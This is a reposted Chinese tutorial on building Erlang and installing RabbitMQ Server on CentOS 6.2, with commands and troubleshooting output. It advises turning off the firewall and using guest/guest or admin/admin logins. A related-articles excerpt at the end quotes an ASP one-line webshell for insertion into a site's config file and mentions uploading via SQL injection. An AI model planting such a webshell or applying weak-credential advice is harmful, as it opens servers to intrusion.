64位CentOS6.2安装erlang及rabbitmqServer

CentOS 6.2 64bit 安装erlang及RabbitMQ Server

1、操作系统环境(CentOS 6.2 64bit)

 1 [root@HAproxy ~]# cat /etc/issue
 2 
 3 CentOS release 6.2 (Final)
 4 Kernel \r on an \m
 5 [root@HAproxy ~]# cat /proc/cpuinfo |grep "clflush size"
 6 clflush size    : 64
 7 clflush size    : 64
 8 clflush size    : 64
 9 clflush size    : 64
10 clflush size    : 64
11 clflush size    : 64
12 clflush size    : 64
13 clflush size    : 64

2、安装erlang依赖的基本环境

[root@HAproxy ~]# yum -y install make gcc gcc-c++ kernel-devel m4 ncurses-devel openssl-devel

3、,并安装erlang

1、首先要先安装GCC GCC-C++ Openssl等以来模块:

yum -y install make gcc gcc-c++ kernel-devel m4 ncurses-devel openssl-devel

2、再安装ncurses模块

yum -y install ncurses-devel

yum install ncurses-devel

3、下载Erang源代码文件otp_src_R15B03-1.tar.gz文件,并对其付权限和解压文件:

chmod +x otp_src_R15B03-1.tar.gz

tar -xzvf otp_src_R15B03-1.tar.gz

mv otp_src_R15B03-1 erlang_R15B #重命名解压厚的文件

4、下面是安装erlang的重头戏,依次执行以下操作:

cd erlang_R15B/

./configure --prefix=/usr/local/erlang --with-ssl --enable-threads --enable-smp-support --enable-kernel-poll --enable-hipe --without-javac  //不用java编译,故去掉java避免错误

继续配置erlang软件安装环境

[root@localhost otp_src_17.1]# ./configure --prefix=/usr/local/erlang

...

checking for perl... no_perl

configure: error: Perl is required to generate v2 to v1 mib converter script

configure: error: /bin/sh '/root/software/otp_src_17.1/lib/snmp/./configure' failed for snmp/.

configure: error: /bin/sh '/root/software/otp_src_17.1/lib/configure' failed for lib

 

#如上,提示错误,解决方法:安装Perl

[root@localhost otp_src_17.1]# yum install perl

 

 

 

make && make install //编译后安装

5、配置erlang环境:

vi /etc/profile

export PATH=$PATH:/usr/local/erlang/bin

好了,现在erlang的已经配置好了,现在我们来看一下陪在结果:

# whereis erlang

erlang: /usr/local/erlang

 

 

 

 

4、测试erlang环境

 1 [root@HAproxy ~]# erl
 2 Erlang R16B03 (erts-5.10.4) [source] [64-bit] [smp:8:8] [async-threads:10] [kernel-poll:false]
 3 
 4 Eshell V5.10.4  (abort with ^G)
 5 1> A=12.
 6 12
 7 2> A.
 8 12
 9 3>
10 BREAK: (a)bort (c)ontinue (p)roc info (i)nfo (l)oaded
11        (v)ersion (k)ill (D)b-tables (d)istribution
12 [root@HAproxy ~]#

5、下载并安装rabbitmq-server

  1 在CentOS上安装rabbitmq-server
  2 
  3 ***在 CentOS 6.4上安装python***
  4 
  5 注意啊,自己手动安装python2.7.5,不要动系统上面其他的版本
  6 
  7 1,先安装GCC,用如下命令yum install gcc gcc-c++
  8 
  9 yum install zlib
 10 
 11 yum install zlib-devel
 12 
 13 2,下载python-2.7.5.tar.gz文件,修改文件权限chmode +x python-7.5.tar.gz
 14 
 15 3,解压tar文件,tar -xzvf python-2.7.5.tar.gz
 16 
 17 4,cd python-2.7.5
 18 
 19 vim Python-2.7.5/Modules/Setup.dist
 20 
 21 ./configure --prefix=/usr/local/python27 --with-zlib=/usr/include
 22 
 23 make && make install
 24 
 25 5、建立软连接,使系统默认的python指向python27
 26 
 27 mv /usr/bin/python /usr/bin/python2.6.6.old
 28 
 29 ln -s /usr/local/bin/python27 /usr/bin/python
 30 
 31 已经安装完成python的安装或升级的全部操作了,我们再来看一下现在的python的版本:
 32 
 33 # python -V
 34 
 35 Python 2.7.5
 36 
 37 虽然现在python已经安装完成,但是使用yum命令会有问题 yum不能正常工作:
 38 
 39 这是因为yum默认使用的python版本是2.6.6,到哪是现在的python版本是2.7.5,故会出现上述问题,只需要该一下yum的默认python配置版本就行了:
 40 
 41 #vi /usr/bin/yum
 42 
 43 将文件头部的#!/usr/bin/python改为
 44 
 45 #!/usr/bin/python2.6
 46 
 47 ***在 CentOS 6.4上安装Erlang***
 48 
 49 在本节中,我们将来学习如何在CentOS 6.4上安装erlang,具体的Erlang版本是R16B02。
 50 
 51 在安装之前,需要先要安装一些其他的软件,否则在安装中间会出现一些由于没有其依赖的软件模块而失败。
 52 
 53 1、首先要先安装GCC GCC-C++ Openssl等以来模块:
 54 
 55 yum -y install make gcc gcc-c++ kernel-devel m4 ncurses-devel openssl-devel
 56 
 57 2、再安装ncurses模块
 58 
 59 yum -y install ncurses-devel
 60 
 61 yum install ncurses-devel
 62 
 63 3、下载Erang源代码文件文件,并对其付权限和解压文件:
 64 
 65 wget http://www.erlang.org/download/otp_src_R16B02.tar.gz
 66 
 67 chmod +x otp_src_R16B02.tar.gz
 68 
 69 tar -xzvf otp_src_R16B02.tar.gz
 70 
 71 mv otp_src_R16B02 erlang_R16B #重命名解压厚的文件
 72 
 73 4、下面是安装erlang的重头戏,依次执行以下操作:
 74 
 75 cd erlang_R16B/
 76 
 77 ./configure --prefix=/usr/local/erlang --with-ssl --enable-threads --enable-smp-support --enable-kernel-poll --enable-hipe --without-javac //不用java编译,故去掉java避免错误
 78 
 79 make && make install //编译后安装
 80 
 81 5、配置erlang环境:
 82 
 83 vi /etc/profile
 84 
 85 ERL_HOME=/usr/local/erlang
 86 
 87 export PATH=$$PATH:$$ERL_HOME/bin
 88 
 89 好了,现在erlang的已经配置好了,现在我们来测试一下是否安装成功,在控制台输入命令erl,如果在erlang shell里出现下图所示就说明安装成功了:
 90 
 91 此处省略截图了...
 92 
 93 *** 在CentOS上安装rabbitmq-server-3.1.5 ***
 94 
 95 在本节中我们来看一下如何在CentOS上安装RabbitMQ。我们使用的rabbitmq的版本是rabbitmq-server-3.1.5.tar.gz,CentOS的版本是CentOS 6.4 96 
 97 在安装rabbitmq之前需要先安装python和erlang,这两部分的安装过程请参看在 CentOS 6.4上安装python和在 CentOS 6.4上安装Erlang,这里不再赘述。
 98 
 99 安装rabbitmq的具体步骤如下:
100 
101 1、下载rabbitmq-server-3.1.5.tar.gz文件,并解压之:
102 
103 #cd /usr/local
104 
105 #wget http://www.rabbitmq.com/releases/rabbitmq-server/v3.1.5/rabbitmq-server-3.1.5.tar.gz
106 
107 #chmod +x rabbitmq-server-3.1.5.tar.gz
108 
109 #tar -xzvf rabbitmq-server-3.1.5.tar.gz
110 
111 2、在编译rabbitmq源码之前先要安装其需要以来包:
112 
113 #yum -y install xmlto
114 
115 否则会编译不通过:
116 
117 /bin/sh: line 1: xmlto: command not found
118 
119 3、开始编译源代码:
120 
121 #cd rabbitmq-server-3.1.5
122 
123 #make
124 
125 #make install TARGET_DIR=/opt/mq/rabbitmq SBIN_DIR=/opt/mq/rabbitmq/sbin MAN_DIR=/opt/mq/rabbitmq/man //将rabbitmq编译到/opt/mq/rabbitmq目录
126 
127 4、安装web插件管理界面
128 
129 #cd /opt/mq/rabbitmq/sbin
130 
131 #mkdir /etc/rabbitmq/
 1 #rabbitmq-plugins enable rabbitmq_management
 2 
 3 5、好了,到这里rabbitmq已经配置好了,可以启动了:
 4 
 5 #./rabbitmq-server start &
 6 
 7 我运行的时候报错了,ERROR: epmd error for host "springzoo": timeout (timed out)
 8 
 9 更改下/etc/hosts:
10 
11 127.0.0.1 localhost springzoo
12 
13 ::1 localhost springzoo
14 
15 # ps aux | grep rabbitmq //查看端口,默认就是5672
16 
17 netstat -tnlp | grep 5672
18 
19 tcp 0 0 0.0.0.0:15672 0.0.0.0:* LISTEN 30435/beam.smp
20 
21 tcp 0 0 0.0.0.0:55672 0.0.0.0:* LISTEN 30435/beam.smp
22 
23 tcp 0 0 :::5672 :::* LISTEN 30435/beam.smp
24 
25 如果看到下面的信息就表明已经启动成功了:
26 
27 省略截图....
28 
29 最好我们就可以在浏览器上输入http://127.0.0.1:15672/登录管理界面了
30 
31 使用登录的名户名和密码默认都算guest,登录后的页面如下:

 

6、启动rabbitmq-server

 1 [root@HAproxy ~]# /etc/init.d/rabbitmq-server start
 2 Starting rabbitmq-server:
 3 FAILED - check /var/log/rabbitmq/startup_{log, _err}
 4 rabbitmq-server.
 5 [root@HAproxy ~]# cat /var/log/rabbitmq/startup_err
 6 [root@HAproxy ~]# cat /var/log/rabbitmq/startup_log
 7 ERROR: epmd error for host HAproxy: address (cannot connect to host/port)
 8 [root@HAproxy ~]# hostname
 9 HAproxy
10 [root@HAproxy ~]# vi /etc/sysconfig/network
11 NETWORKING=yes
12 HOSTNAME=HAproxy13 [root@HAproxy ~]# cat /etc/hosts
14 127.0.0.1       localhost
15 127.0.0.1       HAproxy
16 ::1             localhost

7、以上操作排除了因为主机名不同导致RabbitMQ-Server启动报错的问题,请修改主机名(参见上述步骤),再次启动RabbitMQ-Server

1 [root@HAproxy ~]# /etc/init.d/rabbitmq-server restart
2 Restarting rabbitmq-server: RabbitMQ is not running
3 FAILED - check /var/log/rabbitmq/startup_{log, _err}
4 rabbitmq-server.

8、结果同样报错,查看错误的日志:

 1 [root@HAproxy ~]# cat /var/log/rabbitmq/startup_log
 2               RabbitMQ 3.3.0. Copyright (C) 2007-2013 GoPivotal, Inc.
 3   ##  ##      Licensed under the MPL.  See http://www.rabbitmq.com/
 4   ##  ##
 5   ##########  Logs: /var/log/rabbitmq/rabbit@HAproxy.log
 6   ######  ##        /var/log/rabbitmq/rabbit@HAproxy-sasl.log
 7   ##########
 8               Starting broker...
 9 
10 BOOT FAILED
11 ===========
12 
13 Error description:
14    {case_clause,
15        {error,
16            {{shutdown,
17                 {failed_to_start_child,tcp_listener,
18                     {cannot_listen,{0,0,0,0,0,0,0,0},5672,eaddrinuse}}},
19             {child,undefined,'rabbit_tcp_listener_sup_:::5672',
20                 {tcp_listener_sup,start_link,
21                     [{0,0,0,0,0,0,0,0},
22                      5672,
23                      [inet6,binary,
24                       {packet,raw},
25                       {reuseaddr,true},
26                       {backlog,128},
27                       {nodelay,true},
28                       {linger,{true,0}},
29                       {exit_on_close,false}],
30                      {rabbit_networking,tcp_listener_started,[amqp]},
31                      {rabbit_networking,tcp_listener_stopped,[amqp]},
32                      {rabbit_networking,start_client,[]},
33                      "TCP Listener"]},
34                 transient,infinity,supervisor,
35                 [tcp_listener_sup]}}}}
36 
37 Log files (may contain more information):
38    /var/log/rabbitmq/rabbit@HAproxy.log
39    /var/log/rabbitmq/rabbit@HAproxy-sasl.log
40 
41 Stack trace:
42    [{rabbit_networking,start_listener0,4,[]},
43     {rabbit_networking,'-start_listener/4-lc$^0/1-0-',4,[]},
44     {rabbit_networking,start_listener,4,[]},
45     {rabbit_networking,'-boot_tcp/0-lc$^0/1-0-',1,[]},
46     {rabbit_networking,boot_tcp,0,[]},
47     {rabbit_networking,boot,0,[]},
48     {rabbit,'-run_boot_step/1-lc$^1/1-1-',1,[]},
49     {rabbit,run_boot_step,1,[]}]
50 
51 
52 
53 BOOT FAILED
54 ===========
55 
56 Error description:
57    {could_not_start,rabbit,
58     {bad_return,
59      {{rabbit,start,[normal,[]]},
60       {'EXIT',
61        {rabbit,failure_during_boot,
62         {case_clause,
63          {error,
64           {{shutdown,
65             {failed_to_start_child,tcp_listener,
66              {cannot_listen,{0,0,0,0,0,0,0,0},5672,eaddrinuse}}},
67            {child,undefined,'rabbit_tcp_listener_sup_:::5672',
68             {tcp_listener_sup,start_link,
69              [{0,0,0,0,0,0,0,0},
70               5672,
71               [inet6,binary,
72                {packet,raw},
73                {reuseaddr,true},
74                {backlog,128},
75                {nodelay,true},
76                {linger,{true,0}},
77                {exit_on_close,false}],
78               {rabbit_networking,tcp_listener_started,[amqp]},
79               {rabbit_networking,tcp_listener_stopped,[amqp]},
80               {rabbit_networking,start_client,[]},
81               "TCP Listener"]},
82             transient,infinity,supervisor,
83             [tcp_listener_sup]}}}}}}}}}
84 
85 Log files (may contain more information):
86    /var/log/rabbitmq/rabbit@HAproxy.log
87    /var/log/rabbitmq/rabbit@HAproxy-sasl.log
88 
89 {"init terminating in do_boot",{rabbit,failure_during_boot,{could_not_start,rabb                                                                                        use,{error,{{shutdown,{failed_to_start_child,tcp_listener,{cannot_listen,{0,0,0,                                                                                        stener_sup,start_link,[{0,0,0,0,0,0,0,0},5672,[inet6,binary,{packet,raw},{reusea                                                                                        networking,tcp_listener_started,[amqp]},{rabbit_networking,tcp_listener_stopped,                                                                                        or,[tcp_listener_sup]}}}}}}}}}}}
90 tail: /var/log/rabbitmq/startup_log: file truncated        [FAILED]
91 
92 
93 [root@HAproxy ~]# cat /var/log/rabbitmq/startup_err
94 
95 Crash dump was written to: erl_crash.dump
96 init terminating in do_boot ()

9、出现如上的错误,可能是因为5672端口已经被占用的原因。
查看5672端口的情况,如果有进程占用此端口,请将它关闭后,重新启动RabbitMQ-Server;

 1 [root@HAproxy ~]# netstat -atn |grep 5672
 2 tcp        0      0 0.0.0.0:5672                0.0.0.0:*                   LISTEN
 3 [root@HAproxy ~]# lsof -i:5672
 4 COMMAND  PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
 5 qpidd   1901 qpidd   10u  IPv4  13941      0t0  TCP *:amqp (LISTEN)
 6 [root@HAproxy ~]# chkconfig qpidd off
 7 [root@HAproxy ~]# netstat -atn |grep 5672
 8 tcp        0      0 0.0.0.0:5672                0.0.0.0:*                   LISTEN
 9 [root@HAproxy ~]# chkconfig qpidd --list
10 qpidd           0:off   1:off   2:off   3:off   4:off   5:off   6:off
11 [root@HAproxy ~]# /etc/init.d/qpidd stop
12 Stopping Qpid AMQP daemon:                                 [  OK  ]
13 [root@HAproxy ~]# netstat -atn |grep 5672
14 tcp        0      0 127.0.0.1:25672             127.0.0.1:60925             TIME_WAIT
15 [root@HAproxy ~]# lsof -i:5672
16 [root@HAproxy ~]# /etc/init.d/rabbitmq-server start
17 Starting rabbitmq-server: SUCCESS
18 rabbitmq-server.

10、查看RabbitMQ服务启动的状态,并开启RabbitMQ的相应管理插件:

  1 [root@HAproxy ~]# rabbitmqctl status
  2 Status of node rabbit@HAproxy ...
  3 [{pid,716},
  4  {running_applications,[{rabbit,"RabbitMQ","3.3.0"},
  5                         {os_mon,"CPO  CXC 138 46","2.2.14"},
  6                         {mnesia,"MNESIA  CXC 138 12","4.11"},
  7                         {xmerl,"XML parser","1.3.5"},
  8                         {sasl,"SASL  CXC 138 11","2.3.4"},
  9                         {stdlib,"ERTS  CXC 138 10","1.19.4"},
 10                         {kernel,"ERTS  CXC 138 10","2.16.4"}]},
 11  {os,{unix,linux}},
 12  {erlang_version,"Erlang R16B03 (erts-5.10.4) [source] [64-bit] [smp:8:8] [async-threads:30] [kernel-poll:true]\n"},
 13  {memory,[{total,36436456},
 14           {connection_procs,2704},
 15           {queue_procs,5408},
 16           {plugins,0},
 17           {other_proc,13704576},
 18           {mnesia,60240},
 19           {mgmt_db,0},
 20           {msg_index,24368},
 21           {other_ets,789624},
 22           {binary,13672},
 23           {code,16399491},
 24           {atom,594537},
 25           {other_system,4841836}]},
 26  {alarms,[]},
 27  {listeners,[{clustering,25672,"::"},{amqp,5672,"::"}]},
 28  {vm_memory_high_watermark,0.4},
 29  {vm_memory_limit,6690450636},
 30  {disk_free_limit,50000000},
 31  {disk_free,47402364928},
 32  {file_descriptors,[{total_limit,924},
 33                     {total_used,3},
 34                     {sockets_limit,829},
 35                     {sockets_used,1}]},
 36  {processes,[{limit,1048576},{used,131}]},
 37  {run_queue,0},
 38  {uptime,83}]
 39 ...done.
 40 
 41 [root@HAproxy ~]# netstat -atn |grep 5672
 42 tcp        0      0 0.0.0.0:25672               0.0.0.0:*                   LISTEN
 43 tcp        0      0 :::5672                     :::*                        LISTEN
 44 [root@HAproxy ~]# lsof -i:5672
 45 COMMAND  PID     USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
 46 beam.smp 716 rabbitmq   15u  IPv6 1948888      0t0  TCP *:amqp (LISTEN)
 47 [root@HAproxy ~]# rabbitmq-plugins list
 48 [ ] amqp_client                       3.3.0
 49 [ ] cowboy                            0.5.0-rmq3.3.0-git4b93c2d
 50 [ ] eldap                             3.3.0-gite309de4
 51 [ ] mochiweb                          2.7.0-rmq3.3.0-git680dba8
 52 [ ] rabbitmq_amqp1_0                  3.3.0
 53 [ ] rabbitmq_auth_backend_ldap        3.3.0
 54 [ ] rabbitmq_auth_mechanism_ssl       3.3.0
 55 [ ] rabbitmq_consistent_hash_exchange 3.3.0
 56 [ ] rabbitmq_federation               3.3.0
 57 [ ] rabbitmq_federation_management    3.3.0
 58 [ ] rabbitmq_management               3.3.0
 59 [ ] rabbitmq_management_agent         3.3.0
 60 [ ] rabbitmq_management_visualiser    3.3.0
 61 [ ] rabbitmq_mqtt                     3.3.0
 62 [ ] rabbitmq_shovel                   3.3.0
 63 [ ] rabbitmq_shovel_management        3.3.0
 64 [ ] rabbitmq_stomp                    3.3.0
 65 [ ] rabbitmq_tracing                  3.3.0
 66 [ ] rabbitmq_web_dispatch             3.3.0
 67 [ ] rabbitmq_web_stomp                3.3.0
 68 [ ] rabbitmq_web_stomp_examples       3.3.0
 69 [ ] sockjs                            0.3.4-rmq3.3.0-git3132eb9
 70 [ ] webmachine                        1.10.3-rmq3.3.0-gite9359c7
 71 [root@HAproxy ~]# rabbitmq-plugins enable rabbitmq_management
 72 The following plugins have been enabled:
 73   mochiweb
 74   webmachine
 75   rabbitmq_web_dispatch
 76   amqp_client
 77   rabbitmq_management_agent
 78   rabbitmq_management
 79 Plugin configuration has changed. Restart RabbitMQ for changes to take effect.
 80 [root@HAproxy ~]# rabbitmq-plugins enable mochiweb webmachine rabbitmq_web_dispatch amqp_client rabbitmq_m                                                             anagement_agent rabbitmq_management
 81 Plugin configuration unchanged.
 82 [root@HAproxy ~]# rabbitmq-plugins list
 83 [E] amqp_client                       3.3.0
 84 [ ] cowboy                            0.5.0-rmq3.3.0-git4b93c2d
 85 [ ] eldap                             3.3.0-gite309de4
 86 [E] mochiweb                          2.7.0-rmq3.3.0-git680dba8
 87 [ ] rabbitmq_amqp1_0                  3.3.0
 88 [ ] rabbitmq_auth_backend_ldap        3.3.0
 89 [ ] rabbitmq_auth_mechanism_ssl       3.3.0
 90 [ ] rabbitmq_consistent_hash_exchange 3.3.0
 91 [ ] rabbitmq_federation               3.3.0
 92 [ ] rabbitmq_federation_management    3.3.0
 93 [E] rabbitmq_management               3.3.0
 94 [E] rabbitmq_management_agent         3.3.0
 95 [ ] rabbitmq_management_visualiser    3.3.0
 96 [ ] rabbitmq_mqtt                     3.3.0
 97 [ ] rabbitmq_shovel                   3.3.0
 98 [ ] rabbitmq_shovel_management        3.3.0
 99 [ ] rabbitmq_stomp                    3.3.0
100 [ ] rabbitmq_tracing                  3.3.0
101 [E] rabbitmq_web_dispatch             3.3.0
102 [ ] rabbitmq_web_stomp                3.3.0
103 [ ] rabbitmq_web_stomp_examples       3.3.0
104 [ ] sockjs                            0.3.4-rmq3.3.0-git3132eb9
105 [E] webmachine                        1.10.3-rmq3.3.0-gite9359c7
106 [root@HAproxy ~]# rabbitmq-plugins list
107 [E] amqp_client                       3.3.0
108 [ ] cowboy                            0.5.0-rmq3.3.0-git4b93c2d
109 [ ] eldap                             3.3.0-gite309de4
110 [E] mochiweb                          2.7.0-rmq3.3.0-git680dba8
111 [ ] rabbitmq_amqp1_0                  3.3.0
112 [ ] rabbitmq_auth_backend_ldap        3.3.0
113 [ ] rabbitmq_auth_mechanism_ssl       3.3.0
114 [ ] rabbitmq_consistent_hash_exchange 3.3.0
115 [ ] rabbitmq_federation               3.3.0
116 [ ] rabbitmq_federation_management    3.3.0
117 [E] rabbitmq_management               3.3.0
118 [E] rabbitmq_management_agent         3.3.0
119 [ ] rabbitmq_management_visualiser    3.3.0
120 [ ] rabbitmq_mqtt                     3.3.0
121 [ ] rabbitmq_shovel                   3.3.0
122 [ ] rabbitmq_shovel_management        3.3.0
123 [ ] rabbitmq_stomp                    3.3.0
124 [ ] rabbitmq_tracing                  3.3.0
125 [E] rabbitmq_web_dispatch             3.3.0
126 [ ] rabbitmq_web_stomp                3.3.0
127 [ ] rabbitmq_web_stomp_examples       3.3.0
128 [ ] sockjs                            0.3.4-rmq3.3.0-git3132eb9
129 [E] webmachine                        1.10.3-rmq3.3.0-gite9359c7
130 [root@HAproxy ~]# netstat -atn |grep 5672
131 tcp        0      0 0.0.0.0:25672               0.0.0.0:*                   LISTEN
132 tcp        0      0 :::5672                     :::*                        LISTEN
133 [root@HAproxy ~]# netstat -atn |grep 15672
134 [root@HAproxy ~]# netstat -atn |grep 55672
135 [root@HAproxy ~]# /etc/init.d/rabbitmq-server restart
136 Restarting rabbitmq-server: SUCCESS
137 rabbitmq-server.
138 [root@HAproxy ~]# netstat -atn |grep 55672
139 [root@HAproxy ~]# netstat -atn |grep 5672
140 tcp        0      0 0.0.0.0:15672               0.0.0.0:*                   LISTEN
141 tcp        0      0 0.0.0.0:25672               0.0.0.0:*                   LISTEN
142 tcp        0      0 127.0.0.1:54463             127.0.0.1:25672             TIME_WAIT
143 tcp        0      0 127.0.0.1:60321             127.0.0.1:25672             TIME_WAIT
144 tcp        0      0 127.0.0.1:25672             127.0.0.1:56750             TIME_WAIT
145 tcp        0      0 :::5672                     :::*                        LISTEN
146 
147 就可以用guest,guest登陆http://192.168.1.101:15672端口了。

注意:如果此时你从端口15672或55672登陆不了,请关闭CentOS6.2的防火墙,再次登陆,

如果仍然出现无法登陆的想象,查看日志后,显示:

=ERROR REPORT==== 20-Apr-2014::00:55:15 ===
webmachine error: path="api/whoami"
"Unauthorized"

那么请运行如下的命令,增加用户admin,密码admin即可。

 1 [root@HAproxy ~]# rabbitmqctl add_user admin admin
 2 Creating user "admin" ...
 3 ...done.
 4 [root@HAproxy ~]# rabbitmqctl list_users
 5 Listing users ...
 6 admin   []
 7 guest   [administrator]
 8 ...done.
 9 [root@HAproxy ~]# rabbitmqctl set_user_tags admin administrator
10 Setting tags for user "admin" to [administrator] ...
11 ...done.
12 [root@HAproxy ~]# rabbitmqctl list_users
13 Listing users ...
14 admin   [administrator]
15 guest   [administrator]
16 ...done.

到此,配置完成

转载于:https://www.cnblogs.com/nb-blog/p/5266712.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/375008.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kafka的Producer和Consumer源码学习

先解释下两个概念: high watermark (HW) 它表示已经被commited的最后一个message offset(所谓commited, 应该是ISR中所有replica都已写入),HW以下的消息都已被ISR中各个replica同步,从而保持一致。HW以上的消息可能是脏数据:部分r…

for+next()实现数组的遍历及while list each 的使用

//要求使用for循环语句来完成该数组的遍历//输出每一项的键名和对应值&#xff1a; $a array( a > 34, 5 > 51, 13, 32, bb>15, 2 > 31 ); $len count($a); for($i0;$i<$len;$i)…

读Pyqt4教程,带你入门Pyqt4 _005

对话框窗体或对话框是现代GUI应用不可或缺的一部分。dialog定义为两个或多个人之间的交谈。在计算机程序中dialog是一个窗体&#xff0c;用来和程序“交谈”。对话框用来输入数据、修改数据、改变程序设置等等。对话框是用户和计算机程序沟通的重要手段。 QColorDialog 颜色对话…

Linux内核的启动过程分析

秦鼎涛 《Linux内核分析》MOOC课程http://mooc.study.163.com/course/USTC-1000029000  一、实验目的及要求&#xff1a; 使用gdb跟踪调试内核从start_kernel到init进程启动 详细分析从start_kernel到init进程启动的过程并结合实验截图撰写一篇署名博客&#xff0c;并在博客文…

static修饰符详解

static表示“全局”或者“静态”的意思&#xff0c;用来修饰成员变量和成员方法&#xff0c;也可以形成静态static代码块&#xff0c;但是Java语言中没有全局变量的概念。被static修饰的成员变量和成员方法独立于该类的任何对象。也就是说&#xff0c;它不依赖类特定的实例&…

四则运算2+psp0

程序要求&#xff1a; 1.题目避免重复 2.可定制&#xff08;数量\打印方式&#xff09; 3.可以一下控制参数 ① 是否有乘除法 ② 是否有括号&#xff08;最多支持十个数参与运算&#xff09; ③ 数值范围 ④加减有无负数 ⑤除法有无余数 分析&#xff1a;① 如果是两个数…

kettle作业中的js如何写日志文件

在kettle作业中JavaScript脚本有时候也扮演非常重要的角色&#xff0c;此时我们希望有一些日志记录。下面是job中JavaScript记录日志的方式。 job的js写日志的方法。 得到日志输出实例 org.pentaho.di.core.logging.LogWriter.getInstance();按照日志的级别输出&#xff1a; pu…

浅析Kerberos原理,及其应用和管理

文章作者&#xff1a;luxianghao 文章来源&#xff1a;http://www.cnblogs.com/luxianghao/p/5269739.html 转载请注明&#xff0c;谢谢合作。 免责声明&#xff1a;文章内容仅代表个人观点&#xff0c;如有不当&#xff0c;欢迎指正。 --- 一&#xff0c;引言 Kerberos简单来…

2014! 的末尾有多少个0

2014&#xff01; 的末尾有多少个0<?xml version"1.0" encoding"UTF-8"?> 假设 末尾有 k 个0&#xff0c;所以 2014&#xff01; x * 10^k ; 10 ^ k &#xff08;2 * 5 &#xff09;^ k 2^k * 5^k, 明显所有数字中因数含有2的数字多于含有5的数…

[转载]一句话插配置文件

http://www.t00ls.net/viewthread.php?tid13901 一句话插入配置文件system.asp没有过滤双引号&#xff0c;插入一句就行。常规插法如下&#xff1a;"%><%eval request("d")%><%但金刀客这篇文件&#xff08;http://www.cqzh.cn/post/328.html&…

android插件化-获取apkplug框架已安装插件-03

上一篇文章成功的将apkplug框架嵌入了应用中而且启动 链接http://www.apkplug.com/blog/?post10 这一篇文章实现怎样获取全部已安装插件 一 获取框架的SystemBundle的上下文BundleContext apkplug框架启动会自己主动创建一个SystemBundle, 它是框架的第一个插件不可停止和卸…

Java实现栈。

定义一个接口MyStack接口&#xff1a; package Stack; public interface MyStack<T> { boolean isEmpty(); int length(); boolean push(T date); T pop();} 数组实现&#xff1a; package Stack; public class ArrayStack<T> implements MyStack<T>{ privat…

转载]SA权限九种上传方法

刚看了一种方法&#xff0c;如果是注入点&#xff0c;利用管中窥豹以二进制的方式上传&#xff0c;上传的时候最好改下名&#xff0c;比如do.exe&#xff0c;上传到目标服务器可以改成do.cmd&#xff0c;等传上去之后用copy 命令改回来。 当然用啊d也可以上传&#xff0c;还有…

asp.net 导出Excel

asp.net 导出Excel 分享一个asp.net 导出假Excel代码。优点&#xff0c;不用借助于任何插件比如&#xff08;NPOI&#xff09;,复制代码&#xff0c;修改grid.DataSource直接导出。 先看导出后的效果图 1 System.Web.UI.WebControls.DataGrid grid new DataGrid();2 …

bzoj 2300 动态维护上凸壳(不支持删除)

新技能GET。 用set保存点&#xff0c;然后只需要找前趋和后继就可以动态维护了。 1 /**************************************************************2 Problem: 23003 User: idy0024 Language: C5 Result: Accepted6 Time:556 ms7 Memory:4824 kb8 …

带有Guice的富域模型

贫血域模型是一个非常常见的反模式。 在ORM和DI框架的世界中&#xff0c;我们自然会发现自己拥有一个由ORM管理的“域”&#xff0c;该域包含所有数据且无行为。 通过我们的DI框架有帮助地注入了辅助类&#xff0c;这些辅助类都是行为且没有数据。 在本文中&#xff0c;我将介绍…

php匿名函数小示例

<?php //$fun function($params){ // echo $params; //}; // //$fun(aa);//例一 //在普通函数中定义一个匿名函数 //function printStr(){ // $fun function($something){ // echo $something; // }; // $fun(something); // //} //printStr();//例子…

购书心得

作者&#xff1a;泉哥主页&#xff1a;http://riusksk.blogbus.com富家不用买良田&#xff0c;书中自有千钟粟&#xff1b;安居不用架高堂&#xff0c;书中自有黄金屋&#xff1b;出门莫恨无人随&#xff0c;书中车马多如簇&#xff1b;娶妻莫恨无良媒&#xff0c;书中自有颜如…

MariaDB 条件语句WHERE

MariaDB 条件语句WHEREWHERE Clause Operators Operator Description Equality<> Nonequality! Nonequality< Less than< Less than or equal to > Greater than > Greater than or equal to BETWEEN Between two specified values BETWEEN AND (jlive)[c…

Spring 3.1缓存抽象教程

即将发布的Spring 3.1版本中引入的新功能之一是缓存抽象之一 。 Spring Framework提供了对将缓存透明添加到现有Spring应用程序中的支持。 与事务支持类似&#xff0c;缓存抽象允许一致使用各种缓存解决方案&#xff0c;而对代码的影响最小。 从本质上讲&#xff0c;抽象将缓存…